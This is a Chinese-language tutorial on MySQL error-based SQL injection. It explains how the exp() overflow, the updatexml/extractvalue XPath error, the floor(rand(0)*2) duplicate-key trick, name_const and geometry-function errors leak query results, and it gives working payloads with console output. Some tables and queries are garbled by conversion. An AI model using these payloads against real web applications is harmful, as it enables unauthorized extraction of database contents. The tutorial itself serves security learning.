SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。

前置知识

子查询

  1. where型子查询:把内层查询的结果作为外层查询的比较条件(不需要别名)

    1. SELECT goods_id,goods_name,shop_price FROM goods WHERE goods_id = (SELECT MAX(goods_id) FROM goods);

    报错注入 - 图1

  2. from型子查询:把内层的查询结果当成临时表,供外层sql再次查询。查询结果集可以当成表看待(临时表要使用一个别名)

    1. mysql > SELECT goods_id,goods_name,cat_id,shop_price FROM
    2.    -> (SELECT goods_id,goods_name,cat_id,shop_price FROM goods ORDER BY cat_id ASC,goods_id DESC) AS tmp
    3.    -> GROUP BY cat_id;

    派生表

    派生表是从SELECT语句返回的虚拟表。派生表类似于临时表,但是在SELECT语句中使用派生表比临时表简单得多,因为它不需要创建临时表的步骤。

    正片

    数据溢出

    Mysql中的数据类型范围:

Type Storage Minimum Value Maximum Value
(Bytes) (Signed/Unsigned) (Signed/Unsigned)
TINYINT 1 -128 127
0 255
SMALLINT 2 -32768 32767
0 65535
MEDIUMINT 3 -8388608 8388607
0 16777215
INT 4 -2147483648 2147483647
0 4294967295
BIGINT 8 -9223372036854775808 9223372036854775807
0 18446744073709551615

当MySQL在数值列中存储的值超出列数据类型的允许范围时,MySQL会拒绝超出范围的值并产生错误。

  1. mysql> select 18446744073709551615+1;
  2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

除了直接输入大数,还可以通过按位取反运算:

  1. mysql> select ~0;
  2. +----------------------+
  3. | ~0 |
  4. +----------------------+
  5. | 18446744073709551615 |
  6. +----------------------+
  7. 1 row in set (0.00 sec)
  8. mysql> select ~0+1;
  9. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'

我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:

  1. mysql> select (select * from (select user())x);
  2. +----------------------------------+
  3. | (select * from (select user())x) |
  4. +----------------------------------+
  5. | root@localhost |
  6. +----------------------------------+
  7. 1 row in set (0.00 sec)
  8. mysql> select !(select * from (select user())x);
  9. +-----------------------------------+
  10. | !(select * from (select user())x) |
  11. +-----------------------------------+
  12. | 1 |
  13. +-----------------------------------+
  14. 1 row in set (0.01 sec)
  15. mysql> select !(select * from (select user())x)+1;
  16. +-------------------------------------+
  17. | !(select * from (select user())x)+1 |
  18. +-------------------------------------+
  19. | 2 |
  20. +-------------------------------------+
  21. 1 row in set (0.00 sec)

同理,exp函数也会产生类似的溢出错误:

  1. mysql> select exp(709);
  2. +-----------------------+
  3. | exp(709) |
  4. +-----------------------+
  5. | 8.218407461554972e307 |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)
  8. mysql> select exp(710);
  9. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

注入姿势:

  1. mysql> select exp(~(select * from(select user())x));
  2. ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

可以看到在user()后面还有一个x,这里就用到了前置知识中介绍的子查询以及派生表,from型子查询中,会产生一个派生表,而派生表需要一个别名,后面的x就是派生表的别名。

xpath语法错误

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

  1. mysql> select extractvalue(1,'/a/b');
  2. +------------------------+
  3. | extractvalue(1,'/a/b') |
  4. +------------------------+
  5. | |
  6. +------------------------+
  7. 1 row in set (0.01 sec)

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

  1. mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
  2. ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
  3. mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
  4. ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

主键重复

这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路。网上比较常见的payload是这样的:

  1. mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
  2. ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

可以看到错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

  1. mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
  2. ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:

  1. mysql> select * from test;
  2. +------+-------+
  3. | id | name |
  4. +------+-------+
  5. | 0 | jack |
  6. | 1 | jack |
  7. | 2 | tom |
  8. | 3 | candy |
  9. | 4 | tommy |
  10. | 5 | jerry |
  11. +------+-------+
  12. 6 rows in set (0.00 sec)

我们以select count(*) from test group by name语句说明大致过程如下:

  • 先是建立虚拟表,其中key为主键,不可重复: | key | count(*) | | —- | —- |

  • 开始查询数据,去数据库数据,然后查看虚拟表是否存在,不存在则插入新记录,存在则count()字段直接加1: | key | **count()** | | —- | —- | | jack | 1 |

key count(*)
jack 1+1
tom 1
key count(*)
jack 1+1
tom 1
candy 1

当这个操作遇到rand(0)*2时,就会发生错误,其原因在于rand(0)是个稳定的序列,我们计算两次rand(0):

  1. mysql> select rand(0) from test;
  2. +---------------------+
  3. | rand(0) |
  4. +---------------------+
  5. | 0.15522042769493574 |
  6. | 0.620881741513388 |
  7. | 0.6387474552157777 |
  8. | 0.33109208227236947 |
  9. | 0.7392180764481594 |
  10. | 0.7028141661573334 |
  11. +---------------------+
  12. 6 rows in set (0.00 sec)
  13. mysql> select rand(0) from test;
  14. +---------------------+
  15. | rand(0) |
  16. +---------------------+
  17. | 0.15522042769493574 |
  18. | 0.620881741513388 |
  19. | 0.6387474552157777 |
  20. | 0.33109208227236947 |
  21. | 0.7392180764481594 |
  22. | 0.7028141661573334 |
  23. +---------------------+
  24. 6 rows in set (0.00 sec)

同理,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要):

  1. mysql> select floor(rand(0)*2) from test;
  2. +------------------+
  3. | floor(rand(0)*2) |
  4. +------------------+
  5. | 0 |
  6. | 1 |
  7. | 1 |
  8. | 0 |
  9. | 1 |
  10. | 1 |
  11. +------------------+
  12. 6 rows in set (0.00 sec)

回到之前的group by语句上,我们将其改为select count(*) from test group by floor(rand(0)*2),看看每一步是什么情况:

  • 先建立空表 | key | count(*) | | —- | —- |

  • 取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚表,发现没有该键值,则会再计算一次floor(rand(0)*2),将结果1(第二次计算)插入虚表,如下: | key | count(*) | | —- | —- | | 1 | 1 |

  • 查第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现键值1存在,所以此时不在计算第二次,直接count()值加1,如下: | key | **count()** | | —- | —- | | 1 | 1+1 |

  • 查第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),发现键值没有0,则尝试插入记录,此时会又一次计算floor(rand(0)*2),结果1(第5次计算)当作虚表的主键,而此时1这个主键已经存在于虚表中了,所以在插入的时候就会报主键重复的错误了。

  • 最终报错的结果,即主键’1’重复:
    1. mysql> select count(*) from test group by floor(rand(0)*2);
    2. ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
    整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。关于这个rand()的问题,官方文档在这里有个说明:
    1. RAND() in a WHERE clause is evaluated for every row (when selecting from one table) or combination of rows (when selecting from a multiple-table join). Thus, for optimizer purposes, RAND() is not a constant value and cannot be used for index optimizations.
    如果有一个序列开头时0,1,0或者1,0,1,则无论如何都不会报错了,因为虚表开头两个主键会分别是0和1,后面的就直接count()加1了: ```sql mysql> select floor(rand(1)2) from test; +—————————+ | floor(rand(1)*2) | +—————————+ | 0 | | 1 | | 0 | | 0 | | 0 | | 1 | +—————————+ 6 rows in set (0.00 sec)

mysql> select count() from test group by floor(rand(1)2); +—————+ | count(*) | +—————+ | 3 | | 3 | +—————+ 2 rows in set (0.00 sec)

  1. <a name="3fJVt"></a>
  2. ## 列名重复
  3. mysql列名重复会报错,我们利用name_const来制造一个列:
  4. ```sql
  5. mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
  6. ERROR 1060 (42S21): Duplicate column name '5.7.17'

根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

利用这个特性加上join函数可以爆列名:

  1. mysql> select * from(select * from test a join test b)c;
  2. ERROR 1060 (42S21): Duplicate column name 'id'
  3. mysql> select * from(select * from test a join test b using(id))c;
  4. ERROR 1060 (42S21): Duplicate column name 'name'

几何函数

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:

  1. 5.5.47
  2. mysql> select multipoint((select * from (select * from (select version())a)b));
  3. ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
  4. 5.7.17
  5. mysql> select multipoint((select * from (select * from (select version())a)b));
  6. ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing

参考

子查询:https://www.cnblogs.com/chiangchou/p/mysql-3.html 派生表:https://www.yiibai.com/mysql/derived-table.html 报错注入总结:https://xz.aliyun.com/t/253